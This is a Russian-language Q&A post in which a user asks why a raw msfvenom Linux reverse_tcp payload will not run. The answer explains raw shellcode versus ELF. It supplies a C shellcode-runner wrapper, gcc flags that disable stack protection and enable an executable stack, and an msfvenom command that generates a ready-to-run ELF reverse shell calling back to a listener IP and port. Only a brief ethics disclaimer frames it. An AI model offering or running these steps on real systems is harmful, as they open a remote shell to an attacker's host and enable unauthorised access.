Вопрос или проблема
Я создал необработанный reverse_tcp payload в msfvenom без указания формата. Как это выполнить?
└─# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -o pay
[-] Платформа не выбрана, выбирается Msf::Module::Platform::Linux из payload
[-] Архитектура не выбрана, выбирается архитектура: x86 из payload
Кодировщик не указан, вывод необработанного payload
Размер payload: 123 байта
Сохранено как: pay
└─# ./pay
./pay: 1: j: не найдено
./pay: 2: Синтаксическая ошибка: незакрытая строка в кавычках
Пожалуйста, помогите, я туплю
Ответ или решение
Теория
При создании бэкдор-пейлоадов с помощью msfvenom, одной из самых распространенных ошибок является некорректное понимание фоматирования выходного файла и его последующего использования. Данный инструмент представляет собой мощное средство из арсенала Metasploit Framework, которое позволяет быстро и эффективно создавать полезные нагрузки (payloads) для эксплуатации уязвимостей в системах различной архитектуры и платформы.
В вашем случае вы создали полезную нагрузку для Linux с архитектурой x86 и параметрами reverse_tcp
. Параметры LHOST
и LPORT
указывают соответственно на адрес хоста и порт, на который будет установлено обратное соединение. Однако вы не указали формат, в котором нужно сохранить пейлоад, и по умолчанию этот файл сохраняется как "сырой" бинарный код.
Такие "сырые" (raw) бинарные файлы не содержат заголовка и метаданных, необходимых для их исполнения в системах Linux. Это значит, что их нельзя напрямую исполнять, как обычные исполняемые файлы.
Пример
В результате выполнения команды вы получили следующее:
└─# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -o pay
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Saved as: pay
└─# ./pay
./pay: 1: j: not found
./pay: 2: Syntax error: Unterminated quoted string
Ошибка, которую вы видите, указывает на то, что система пытается интерпретировать "сырой" бинарный файл как скрипт текста, что влечет за собой синтаксические ошибки и несоответствие ожиданиям в выполнении.
Применение
Для того чтобы правильно запустить созданный пейлоад, вам необходимо предпринять несколько дополнительных шагов:
-
Создание заголовка ELF
Вы должны упаковать ваш "сырой" пейлоад в ELF (Executable and Linkable Format) формат. Это можно сделать с использованием нескольких подходов, включая создание минимального ELF-исполняемого файла, который выполнит содержимое.
-
Создание C-обертки
Один из простых методов — это создание C-программы, которая имеет встроенный ваш "сырой" пейлоад, обернутый в массив и вызываемый с помощью указателей.
Пример кода на языке C:
#include <stdio.h> #include <string.h> unsigned char code[] = <ваш-пейлоад-в-виде-массива>; int main() { int (*ret)() = (int(*)())code; ret(); }
Компиляция:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
После этого копмиллируйте и запустите сущность, которая исполняет ваш пейлоад.
-
Использование пакета msfvenom
При создании полезной нагрузки можно сразу сгенерировать ELF-файл:
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -f elf -o payload.elf
Затем вы можете выполнить его обычным способом:
./payload.elf
Один из этих методов позволит вам корректно использовать созданный пейлоад в исполняемой форме. Важно иметь в виду, что использование подобных инструментов должно осуществляться с соблюдением всех этических норм и правил безопасности, и только в целях обучения или тестирования собственных систем на устойчивость к атакам.